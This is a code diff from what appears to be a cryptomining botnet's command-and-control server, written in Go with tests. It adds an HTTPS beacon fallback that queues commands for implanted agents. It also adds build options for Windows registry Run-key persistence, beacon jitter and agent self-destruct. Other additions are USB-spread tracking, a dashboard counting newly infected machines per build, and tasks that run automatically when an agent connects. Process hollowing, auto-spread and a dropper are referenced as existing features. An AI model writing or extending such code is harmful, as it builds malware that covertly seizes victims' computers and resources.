||||
if cmd.Path != "" {
|
||||
args["path"] = cmd.Path
|
||||
}
|
||||
if cmd.Data != "" {
|
||||
args["data"] = cmd.Data
|
||||
}
|
||||
_ = h.SendAgentCommand(agentID, cmd.Action, args)
|
||||
}
|
||||
}
|
||||
114
server/internal/api/beacon_test.go
Normal file
114
server/internal/api/beacon_test.go
Normal file
@@ -0,0 +1,114 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
)
|
||||
|
||||
func TestAgentBeaconFleetSecretAuth(t *testing.T) {
|
||||
resetAuthState(t)
|
||||
const secret = "beacon-test-secret"
|
||||
SetAgentPathSecret(secret)
|
||||
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer database.Close()
|
||||
|
||||
hub := NewWSHub(database)
|
||||
hub.SetFleetSecret(secret)
|
||||
|
||||
body, _ := json.Marshal(map[string]interface{}{
|
||||
"agent_id": "agent-beacon-1",
|
||||
"stats": map[string]interface{}{
|
||||
"hashrate_15s": 100.0,
|
||||
"hashrate_1m": 100.0,
|
||||
"hashrate_15m": 100.0,
|
||||
},
|
||||
})
|
||||
|
||||
h := basicAuthMiddleware(http.HandlerFunc(hub.HandleAgentBeacon))
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/beacon", bytes.NewReader(body))
|
||||
rec := httptest.NewRecorder()
|
||||
h.ServeHTTP(rec, req)
|
||||
if rec.Code != http.StatusForbidden {
|
||||
t.Fatalf("missing secret: got %d", rec.Code)
|
||||
}
|
||||
|
||||
req.Header.Set("X-Fleet-Secret", secret)
|
||||
rec = httptest.NewRecorder()
|
||||
h.ServeHTTP(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("valid secret: got %d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
var resp beaconResponse
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !resp.OK {
|
||||
t.Fatal("expected ok")
|
||||
}
|
||||
}
|
||||
|
||||
func TestBeaconCommandQueueRoundtrip(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer database.Close()
|
||||
_ = database.UpsertAgent(&models.Agent{ID: "q-agent", Name: "host", Status: "offline"})
|
||||
|
||||
hub := NewWSHub(database)
|
||||
hub.MarkBeaconSeen("q-agent")
|
||||
if !hub.EnqueueBeaconCommand("q-agent", "pause", nil) {
|
||||
t.Fatal("enqueue failed")
|
||||
}
|
||||
cmds := hub.dequeueBeaconCommands("q-agent")
|
||||
if len(cmds) != 1 || cmds[0].Action != "pause" {
|
||||
t.Fatalf("commands: %+v", cmds)
|
||||
}
|
||||
if len(hub.dequeueBeaconCommands("q-agent")) != 0 {
|
||||
t.Fatal("queue should be empty")
|
||||
}
|
||||
}
|
||||
|
||||
func TestAgentBeaconReturnsQueuedCommands(t *testing.T) {
|
||||
resetAuthState(t)
|
||||
const secret = "beacon-cmd-secret"
|
||||
SetAgentPathSecret(secret)
|
||||
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer database.Close()
|
||||
_ = database.UpsertAgent(&models.Agent{ID: "cmd-agent", Name: "pc", Status: "offline"})
|
||||
|
||||
hub := NewWSHub(database)
|
||||
hub.MarkBeaconSeen("cmd-agent")
|
||||
_ = hub.EnqueueBeaconCommand("cmd-agent", "resume", nil)
|
||||
|
||||
body, _ := json.Marshal(map[string]string{"agent_id": "cmd-agent"})
|
||||
h := basicAuthMiddleware(http.HandlerFunc(hub.HandleAgentBeacon))
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/beacon", bytes.NewReader(body))
|
||||
req.Header.Set("X-Fleet-Secret", secret)
|
||||
rec := httptest.NewRecorder()
|
||||
h.ServeHTTP(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("beacon: %d %s", rec.Code, rec.Body.String())
|
||||
}
|
||||
var resp beaconResponse
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(resp.Commands) != 1 || resp.Commands[0].Action != "resume" {
|
||||
t.Fatalf("commands: %+v", resp.Commands)
|
||||
}
|
||||
}
|
||||
@@ -8,7 +8,8 @@ import (
|
||||
|
||||
// ConfigHandler handles GET/PUT for server configuration settings
|
||||
type ConfigHandler struct {
|
||||
config ConfigProvider
|
||||
config ConfigProvider
|
||||
auditSave func(username string)
|
||||
}
|
||||
|
||||
// ConfigProvider is an interface for the server config so we don't import main package
|
||||
@@ -21,6 +22,10 @@ func NewConfigHandler(cp ConfigProvider) *ConfigHandler {
|
||||
return &ConfigHandler{config: cp}
|
||||
}
|
||||
|
||||
func (h *ConfigHandler) SetAuditSaveHook(fn func(username string)) {
|
||||
h.auditSave = fn
|
||||
}
|
||||
|
||||
func (h *ConfigHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
switch r.Method {
|
||||
case http.MethodGet:
|
||||
@@ -63,6 +68,10 @@ func (h *ConfigHandler) updateConfig(w http.ResponseWriter, r *http.Request) {
|
||||
return
|
||||
}
|
||||
|
||||
if h.auditSave != nil {
|
||||
h.auditSave(AuthUsername(r))
|
||||
}
|
||||
|
||||
// Return updated config
|
||||
h.getConfig(w, r)
|
||||
}
|
||||
|
||||
@@ -369,6 +369,7 @@ func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request)
|
||||
args["data"] = req.Data
|
||||
}
|
||||
|
||||
queued := false
|
||||
if id == "all" {
|
||||
if f.ws.connectedAgentCount() == 0 {
|
||||
writeJSON(w, map[string]interface{}{
|
||||
@@ -381,7 +382,7 @@ func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request)
|
||||
}
|
||||
f.ws.BroadcastAgentCommand(req.Action, args)
|
||||
} else {
|
||||
if !f.ws.isAgentConnected(id) {
|
||||
if !f.ws.IsAgentReachable(id) {
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"success": false,
|
||||
"error": "agent not connected",
|
||||
@@ -390,6 +391,7 @@ func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request)
|
||||
})
|
||||
return
|
||||
}
|
||||
queued = !f.ws.isAgentConnected(id)
|
||||
if err := f.ws.SendAgentCommand(id, req.Action, args); err != nil {
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"success": false,
|
||||
@@ -400,11 +402,21 @@ func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request)
|
||||
return
|
||||
}
|
||||
}
|
||||
writeJSON(w, map[string]interface{}{
|
||||
resp := map[string]interface{}{
|
||||
"success": true,
|
||||
"agent_id": id,
|
||||
"action": req.Action,
|
||||
})
|
||||
}
|
||||
if queued {
|
||||
resp["queued"] = true
|
||||
resp["transport"] = "https_beacon"
|
||||
}
|
||||
writeJSON(w, resp)
|
||||
if f.db != nil {
|
||||
_ = f.db.InsertAudit(AuthUsername(r), "agent_command", id, map[string]interface{}{
|
||||
"action": req.Action, "command": req.Command, "path": req.Path,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// PostAgentWOL sends a Wake-on-LAN magic packet to the agent's MAC address.
|
||||
|
||||
97
server/internal/api/fleet_ops_handler.go
Normal file
97
server/internal/api/fleet_ops_handler.go
Normal file
@@ -0,0 +1,97 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/models"
|
||||
|
||||
"github.com/go-chi/chi/v5"
|
||||
)
|
||||
|
||||
func (f *FleetHandler) GetAudit(w http.ResponseWriter, r *http.Request) {
|
||||
if f.db == nil {
|
||||
writeJSON(w, []*models.AuditEntry{})
|
||||
return
|
||||
}
|
||||
entries, err := f.db.ListAudit(50)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
if entries == nil {
|
||||
entries = []*models.AuditEntry{}
|
||||
}
|
||||
writeJSON(w, entries)
|
||||
}
|
||||
|
||||
func (f *FleetHandler) GetFleetTasks(w http.ResponseWriter, r *http.Request) {
|
||||
if f.db == nil {
|
||||
writeJSON(w, []*models.FleetTask{})
|
||||
return
|
||||
}
|
||||
tasks, err := f.db.ListFleetTasks()
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
if tasks == nil {
|
||||
tasks = []*models.FleetTask{}
|
||||
}
|
||||
writeJSON(w, tasks)
|
||||
}
|
||||
|
||||
func (f *FleetHandler) PutFleetTask(w http.ResponseWriter, r *http.Request) {
|
||||
var t models.FleetTask
|
||||
if err := json.NewDecoder(r.Body).Decode(&t); err != nil {
|
||||
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if t.Name == "" || t.Action == "" || t.Trigger == "" {
|
||||
http.Error(w, "name, trigger, and action are required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if f.db == nil {
|
||||
http.Error(w, "database unavailable", http.StatusServiceUnavailable)
|
||||
return
|
||||
}
|
||||
if err := f.db.UpsertFleetTask(&t); err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
_ = f.db.InsertAudit(AuthUsername(r), "fleet_task_save", "", map[string]string{"task_id": t.ID, "name": t.Name})
|
||||
writeJSON(w, t)
|
||||
}
|
||||
|
||||
func (f *FleetHandler) DeleteFleetTask(w http.ResponseWriter, r *http.Request) {
|
||||
id := chi.URLParam(r, "id")
|
||||
if id == "" {
|
||||
http.Error(w, "id required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if f.db == nil {
|
||||
http.Error(w, "database unavailable", http.StatusServiceUnavailable)
|
||||
return
|
||||
}
|
||||
if err := f.db.DeleteFleetTask(id); err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
_ = f.db.InsertAudit(AuthUsername(r), "fleet_task_delete", "", map[string]string{"task_id": id})
|
||||
writeJSON(w, map[string]bool{"ok": true})
|
||||
}
|
||||
|
||||
func (f *FleetHandler) GetSpreadFunnel(w http.ResponseWriter, r *http.Request) {
|
||||
if f.db == nil {
|
||||
writeJSON(w, map[string]interface{}{"by_build": []interface{}{}, "new_connects_today": 0, "total_agents": 0})
|
||||
return
|
||||
}
|
||||
since := time.Now().Add(-7 * 24 * time.Hour)
|
||||
stats, err := f.db.GetSpreadFunnelStats(since)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
writeJSON(w, stats)
|
||||
}
|
||||
@@ -77,7 +77,7 @@ func newTestRouter(t *testing.T) (http.Handler, *WSHub, *db.Database, string) {
|
||||
_ = os.WriteFile(filepath.Join(webRoot, "index.html"), []byte("<html><body>AetherForge</body></html>"), 0644)
|
||||
|
||||
dropperHandler := NewDropperHandler(database, nil)
|
||||
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, webRoot, dataDir, nil), wsHub, database, dataDir
|
||||
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, nil, webRoot, dataDir, nil), wsHub, database, dataDir
|
||||
}
|
||||
|
||||
func serveAuthed(t *testing.T, router http.Handler, method, path string, body []byte) *httptest.ResponseRecorder {
|
||||
|
||||
@@ -397,7 +397,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
||||
authCacheSet(user, pass)
|
||||
}
|
||||
|
||||
next.ServeHTTP(w, r)
|
||||
next.ServeHTTP(w, withAuthUser(r, user))
|
||||
})
|
||||
}
|
||||
|
||||
@@ -464,6 +464,11 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Get("/ai/activity", fleetHandler.GetAIActivity)
|
||||
r.Get("/earnings/estimate", fleetHandler.GetEarningsEstimate)
|
||||
r.Get("/market/xmr", fleetHandler.GetXMRPrice)
|
||||
r.Get("/audit", fleetHandler.GetAudit)
|
||||
r.Get("/fleet-tasks", fleetHandler.GetFleetTasks)
|
||||
r.Put("/fleet-tasks", fleetHandler.PutFleetTask)
|
||||
r.Delete("/fleet-tasks/{id}", fleetHandler.DeleteFleetTask)
|
||||
r.Get("/dashboard/spread-funnel", fleetHandler.GetSpreadFunnel)
|
||||
}
|
||||
|
||||
// Shares
|
||||
@@ -553,6 +558,8 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Post("/agent/decide", aiHandler.HandleDecide)
|
||||
r.Post("/agent/report", aiHandler.HandleReport)
|
||||
r.Post("/agent/heartbeat", aiHandler.HandleHeartbeat)
|
||||
r.Post("/agent/beacon", wsHub.HandleAgentBeacon)
|
||||
r.Post("/agent/beacon/result", wsHub.HandleAgentBeaconResult)
|
||||
})
|
||||
|
||||
// WebSocket
|
||||
|
||||
@@ -351,7 +351,7 @@ func TestRouterBuildDownloadAuth(t *testing.T) {
|
||||
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
|
||||
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
|
||||
blueprintHandler := NewBlueprintHandler(dataDir)
|
||||
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, nil), nil, "", dataDir, nil)
|
||||
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, nil), nil, nil, "", dataDir, nil)
|
||||
|
||||
dlURL := "/api/v1/builds/" + buildID + "/download"
|
||||
|
||||
@@ -428,7 +428,7 @@ func TestRouterNoWebRootFallback(t *testing.T) {
|
||||
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
|
||||
blueprintHandler := NewBlueprintHandler(dataDir)
|
||||
|
||||
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, "", dataDir, nil)
|
||||
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, "", dataDir, nil)
|
||||
|
||||
req := httptest.NewRequest(http.MethodGet, "/", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
|
||||
@@ -106,6 +106,11 @@ func (d *DashboardConn) WriteControl(messageType int, data []byte, deadline time
|
||||
// cmdResultKey is used to key pending command callbacks: "agentID:action".
|
||||
type cmdResultKey struct{ AgentID, Action string }
|
||||
|
||||
// ConnectTaskRunner fires scheduled fleet tasks on agent connect/reconnect.
|
||||
type ConnectTaskRunner interface {
|
||||
RunConnectTasks(agentID, trigger string)
|
||||
}
|
||||
|
||||
type WSHub struct {
|
||||
db *db.Database
|
||||
agents map[string]*AgentConnection
|
||||
@@ -122,12 +127,18 @@ type WSHub struct {
|
||||
pingIntervalSec int
|
||||
fleetSecret string // baked into forged agents; verified on WS connect
|
||||
eventNotifier *alerts.Notifier
|
||||
connectTasks ConnectTaskRunner
|
||||
mu sync.RWMutex
|
||||
|
||||
// pendingCmdCallbacks allows handlers to await a specific command_result
|
||||
// from an agent (used by Path Tracer orchestration).
|
||||
pendingCmdMu sync.Mutex
|
||||
pendingCmdCallbacks map[cmdResultKey]chan map[string]interface{}
|
||||
|
||||
// HTTPS beacon fallback (T1071.001) — command queue when WebSocket is down.
|
||||
beaconMu sync.Mutex
|
||||
beaconLastSeen map[string]time.Time
|
||||
beaconCmdQueue map[string][]BeaconCommand
|
||||
}
|
||||
|
||||
func NewWSHub(database *db.Database) *WSHub {
|
||||
@@ -148,6 +159,8 @@ func NewWSHub(database *db.Database) *WSHub {
|
||||
agentLogs: make(map[string]string),
|
||||
agentDNS: make(map[string][]string),
|
||||
pendingCmdCallbacks: make(map[cmdResultKey]chan map[string]interface{}),
|
||||
beaconLastSeen: make(map[string]time.Time),
|
||||
beaconCmdQueue: make(map[string][]BeaconCommand),
|
||||
pingIntervalSec: 30,
|
||||
}
|
||||
|
||||
@@ -231,6 +244,22 @@ func (h *WSHub) SetFleetSecret(secret string) {
|
||||
h.mu.Unlock()
|
||||
}
|
||||
|
||||
func (h *WSHub) SetConnectTaskRunner(r ConnectTaskRunner) {
|
||||
h.mu.Lock()
|
||||
h.connectTasks = r
|
||||
h.mu.Unlock()
|
||||
}
|
||||
|
||||
func (h *WSHub) ConnectedAgentIDs() []string {
|
||||
h.mu.RLock()
|
||||
defer h.mu.RUnlock()
|
||||
ids := make([]string, 0, len(h.agents))
|
||||
for id := range h.agents {
|
||||
ids = append(ids, id)
|
||||
}
|
||||
return ids
|
||||
}
|
||||
|
||||
func (h *WSHub) pingInterval() time.Duration {
|
||||
h.mu.RLock()
|
||||
sec := h.pingIntervalSec
|
||||
@@ -516,6 +545,8 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
Arch string `json:"arch"`
|
||||
OSVersion string `json:"os_version"`
|
||||
MacAddress string `json:"mac_address,omitempty"`
|
||||
BuildID string `json:"build_id"`
|
||||
USBSpread bool `json:"usb_spread"`
|
||||
}
|
||||
if err := json.Unmarshal(msg.Payload, &auth); err != nil {
|
||||
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
||||
@@ -580,6 +611,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
AutoSpread: auth.AutoSpread,
|
||||
ProcessHollowing: auth.ProcessHollowing && auth.Platform == "windows",
|
||||
AIEnabled: auth.AIEnabled,
|
||||
USBSpread: auth.USBSpread,
|
||||
}
|
||||
|
||||
h.mu.Lock()
|
||||
@@ -638,6 +670,11 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
prior, priorErr := h.db.GetAgent(agentID)
|
||||
isNewAgent := errors.Is(priorErr, sql.ErrNoRows)
|
||||
|
||||
workerName := auth.WorkerName
|
||||
if workerName == "" {
|
||||
workerName = auth.Worker
|
||||
}
|
||||
|
||||
agent := &models.Agent{
|
||||
ID: agentID,
|
||||
Name: displayName,
|
||||
@@ -653,6 +690,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
OSVersion: auth.OSVersion,
|
||||
Hostname: auth.Hostname,
|
||||
MacAddress: auth.MacAddress,
|
||||
BuildID: auth.BuildID,
|
||||
WorkerName: workerName,
|
||||
USBSpread: auth.USBSpread,
|
||||
Capabilities: &caps,
|
||||
}
|
||||
|
||||
@@ -692,6 +732,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
h.agents[agentID] = ac
|
||||
h.mu.Unlock()
|
||||
|
||||
h.FlushBeaconCommandsToWS(agentID)
|
||||
h.ClearBeaconTransport(agentID)
|
||||
|
||||
// Start the RTT-aware ping loop now that we have an AgentConnection.
|
||||
go h.runPingLoopAgent(ac)
|
||||
|
||||
@@ -726,6 +769,17 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
}
|
||||
|
||||
h.mu.RLock()
|
||||
runner := h.connectTasks
|
||||
h.mu.RUnlock()
|
||||
if runner != nil {
|
||||
if isNewAgent {
|
||||
go runner.RunConnectTasks(agentID, "on_connect")
|
||||
} else if !isNewAgent && (alreadyConnected || (prior != nil && prior.Status != "online")) {
|
||||
go runner.RunConnectTasks(agentID, "on_reconnect")
|
||||
}
|
||||
}
|
||||
|
||||
case "stats":
|
||||
if agentID == "" {
|
||||
continue
|
||||
@@ -1051,6 +1105,19 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
// Notify any handler waiting for this specific agent+action result.
|
||||
if action, _ := payload["action"].(string); action != "" {
|
||||
h.notifyCmdCallback(agentID, action, payload)
|
||||
if action == "full_sys_check" {
|
||||
if ok, _ := payload["success"].(bool); ok {
|
||||
if msg, _ := payload["message"].(string); msg != "" && h.eventNotifier != nil {
|
||||
name := agentID
|
||||
if h.db != nil {
|
||||
if ag, err := h.db.GetAgent(agentID); err == nil && ag.Name != "" {
|
||||
name = ag.Name
|
||||
}
|
||||
}
|
||||
alerts.NotifyKEVFromSysCheck(h.eventNotifier, name, msg)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1220,11 +1287,17 @@ func (h *WSHub) RemoveAgent(agentID string) {
|
||||
|
||||
// SendAgentCommand sends a remote command to an agent.
|
||||
func (h *WSHub) SendAgentCommand(agentID, action string, args map[string]interface{}) error {
|
||||
payload := map[string]interface{}{"action": action}
|
||||
for k, v := range args {
|
||||
payload[k] = v
|
||||
if h.isAgentConnected(agentID) {
|
||||
payload := map[string]interface{}{"action": action}
|
||||
for k, v := range args {
|
||||
payload[k] = v
|
||||
}
|
||||
return h.SendToAgent(agentID, Message{Type: "command", Payload: mustMarshal(payload)})
|
||||
}
|
||||
return h.SendToAgent(agentID, Message{Type: "command", Payload: mustMarshal(payload)})
|
||||
if h.EnqueueBeaconCommand(agentID, action, args) {
|
||||
return nil
|
||||
}
|
||||
return fmt.Errorf("agent %s not connected", agentID)
|
||||
}
|
||||
|
||||
// BroadcastAgentCommand sends a remote command to all connected agents.
|
||||
|
||||
@@ -39,6 +39,12 @@ type BuildRequest struct {
|
||||
RunAs string `json:"run_as"`
|
||||
HostBinaryTarget string `json:"host_binary_target"`
|
||||
AutoStart bool `json:"auto_start"`
|
||||
AutostartMode string `json:"autostart_mode"`
|
||||
RegistryPersistence string `json:"registry_persistence"`
|
||||
RegistryRunHKCU bool `json:"registry_run_hkcu"`
|
||||
RegistryRunHKLM bool `json:"registry_run_hklm"`
|
||||
RegistryRunOnce bool `json:"registry_run_once"`
|
||||
RegistryExplorerRun bool `json:"registry_explorer_run"`
|
||||
Persistence bool `json:"persistence"`
|
||||
ProcessName string `json:"process_name"`
|
||||
MaxCPUUsagePct int `json:"max_cpu_usage_pct"`
|
||||
@@ -97,6 +103,13 @@ type BuildRequest struct {
|
||||
RVNPoolTLS bool `json:"rvn_pool_tls"`
|
||||
RVNPoolPass string `json:"rvn_pool_pass"`
|
||||
RVNBackupPools []BackupPool `json:"rvn_backup_pools"`
|
||||
|
||||
// Connection profile — C2 beacon timing and agent self-destruct
|
||||
BeaconIntervalSec int `json:"beacon_interval_sec"`
|
||||
BeaconJitterPct int `json:"beacon_jitter_pct"`
|
||||
AgentKillAfterDays int `json:"agent_kill_after_days"`
|
||||
HTTPSBeaconFallback bool `json:"https_beacon_fallback"`
|
||||
HTTPSBeaconAfterMin int `json:"https_beacon_after_min"`
|
||||
}
|
||||
|
||||
// BackupPool is a fallback Stratum pool tried if the primary pool is unreachable.
|
||||
@@ -341,6 +354,16 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
return
|
||||
}
|
||||
|
||||
if h.db != nil {
|
||||
user := ""
|
||||
if u, _, ok := r.BasicAuth(); ok {
|
||||
user = u
|
||||
}
|
||||
_ = h.db.InsertAudit(user, "forge_build", "", map[string]string{
|
||||
"build_id": resp.BuildID, "worker_name": req.WorkerName, "file_name": resp.FileName,
|
||||
})
|
||||
}
|
||||
|
||||
if r.URL.Query().Get("download") == "1" {
|
||||
w.Header().Set("Content-Type", "application/octet-stream")
|
||||
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, resp.FileName))
|
||||
@@ -848,6 +871,9 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
|
||||
if req.Persistence {
|
||||
req.AutoStart = true
|
||||
}
|
||||
req.AutostartMode = strings.ToLower(strings.TrimSpace(req.AutostartMode))
|
||||
req.RegistryPersistence = strings.ToLower(strings.TrimSpace(req.RegistryPersistence))
|
||||
normalizeRegistryPersistence(req)
|
||||
if req.ProcessName == "" {
|
||||
req.ProcessName = sanitizeFileName(req.WorkerName)
|
||||
}
|
||||
@@ -1031,6 +1057,12 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
RunAs: %q,
|
||||
HostBinaryTarget: %q,
|
||||
AutoStart: %v,
|
||||
AutostartMode: %q,
|
||||
RegistryPersistence: %q,
|
||||
RegistryRunHKCU: %v,
|
||||
RegistryRunHKLM: %v,
|
||||
RegistryRunOnce: %v,
|
||||
RegistryExplorerRun: %v,
|
||||
ProcessName: %q,
|
||||
BuildID: %q,
|
||||
BuiltAt: time.Unix(%d, 0),
|
||||
@@ -1078,6 +1110,12 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
RVNPoolTLS: %v,
|
||||
RVNPoolPass: %q,
|
||||
RVNBackupPools: %s,
|
||||
|
||||
BeaconIntervalSec: %d,
|
||||
BeaconJitterPct: %d,
|
||||
AgentKillAfterDays: %d,
|
||||
HTTPSBeaconFallback: %v,
|
||||
HTTPSBeaconAfterMin: %d,
|
||||
}
|
||||
}
|
||||
`, buildID, time.Now().UTC().Format(time.RFC3339),
|
||||
@@ -1094,6 +1132,12 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
req.RunAs,
|
||||
req.HostBinaryTarget,
|
||||
req.AutoStart,
|
||||
strings.TrimSpace(req.AutostartMode),
|
||||
strings.TrimSpace(req.RegistryPersistence),
|
||||
req.RegistryRunHKCU,
|
||||
req.RegistryRunHKLM,
|
||||
req.RegistryRunOnce,
|
||||
req.RegistryExplorerRun,
|
||||
req.ProcessName,
|
||||
buildID,
|
||||
time.Now().Unix(),
|
||||
@@ -1139,9 +1183,33 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
req.RVNPoolTLS,
|
||||
rvnPoolPass(req),
|
||||
formatGoBackupPools(req.RVNBackupPools),
|
||||
req.BeaconIntervalSec,
|
||||
req.BeaconJitterPct,
|
||||
req.AgentKillAfterDays,
|
||||
httpsBeaconFallbackEnabled(req),
|
||||
httpsBeaconAfterMin(req),
|
||||
)
|
||||
}
|
||||
|
||||
func httpsBeaconFallbackEnabled(req *BuildRequest) bool {
|
||||
if req.HTTPSBeaconFallback {
|
||||
return true
|
||||
}
|
||||
for _, u := range req.BackupServerURLs {
|
||||
if strings.TrimSpace(u) != "" {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func httpsBeaconAfterMin(req *BuildRequest) int {
|
||||
if req.HTTPSBeaconAfterMin > 0 {
|
||||
return req.HTTPSBeaconAfterMin
|
||||
}
|
||||
return 3
|
||||
}
|
||||
|
||||
func rvnPoolHost(req *BuildRequest) string {
|
||||
if req.RVNPoolHost == "" {
|
||||
return "rvn.2miners.com"
|
||||
|
||||
@@ -62,6 +62,9 @@ func TestGenerateBuiltinConfigValid(t *testing.T) {
|
||||
if !strings.Contains(src, "BackupServerURLs") {
|
||||
t.Error("expected BackupServerURLs field in generated config")
|
||||
}
|
||||
if !strings.Contains(src, "AutostartMode") {
|
||||
t.Error("expected AutostartMode field in generated config")
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildPlatformLabelAndBinDir(t *testing.T) {
|
||||
|
||||
41
server/internal/builder/registry_persistence.go
Normal file
41
server/internal/builder/registry_persistence.go
Normal file
@@ -0,0 +1,41 @@
|
||||
package builder
|
||||
|
||||
// normalizeRegistryPersistence maps forge checkboxes to baked config when enum is empty.
|
||||
func normalizeRegistryPersistence(req *BuildRequest) {
|
||||
if req == nil {
|
||||
return
|
||||
}
|
||||
if req.RegistryPersistence != "" && req.RegistryPersistence != "off" {
|
||||
return
|
||||
}
|
||||
if !req.RegistryRunHKCU && !req.RegistryRunHKLM && !req.RegistryRunOnce && !req.RegistryExplorerRun {
|
||||
return
|
||||
}
|
||||
count := 0
|
||||
if req.RegistryRunHKCU {
|
||||
count++
|
||||
}
|
||||
if req.RegistryRunOnce {
|
||||
count++
|
||||
}
|
||||
if req.RegistryRunHKLM {
|
||||
count++
|
||||
}
|
||||
if req.RegistryExplorerRun {
|
||||
count++
|
||||
}
|
||||
if count == 1 {
|
||||
switch {
|
||||
case req.RegistryRunHKCU:
|
||||
req.RegistryPersistence = "hkcu_run"
|
||||
case req.RegistryRunOnce:
|
||||
req.RegistryPersistence = "hkcu_run_once"
|
||||
case req.RegistryRunHKLM:
|
||||
req.RegistryPersistence = "hklm_run"
|
||||
case req.RegistryExplorerRun:
|
||||
req.RegistryPersistence = "explorer_run"
|
||||
}
|
||||
return
|
||||
}
|
||||
req.RegistryPersistence = "combined"
|
||||
}
|
||||
30
server/internal/builder/registry_persistence_test.go
Normal file
30
server/internal/builder/registry_persistence_test.go
Normal file
@@ -0,0 +1,30 @@
|
||||
package builder
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestNormalizeRegistryPersistenceSingleCheckbox(t *testing.T) {
|
||||
req := &BuildRequest{RegistryRunOnce: true}
|
||||
normalizeRegistryPersistence(req)
|
||||
if req.RegistryPersistence != "hkcu_run_once" {
|
||||
t.Fatalf("got %q", req.RegistryPersistence)
|
||||
}
|
||||
}
|
||||
|
||||
func TestNormalizeRegistryPersistenceCombined(t *testing.T) {
|
||||
req := &BuildRequest{RegistryRunHKCU: true, RegistryRunOnce: true}
|
||||
normalizeRegistryPersistence(req)
|
||||
if req.RegistryPersistence != "combined" {
|
||||
t.Fatalf("got %q", req.RegistryPersistence)
|
||||
}
|
||||
}
|
||||
|
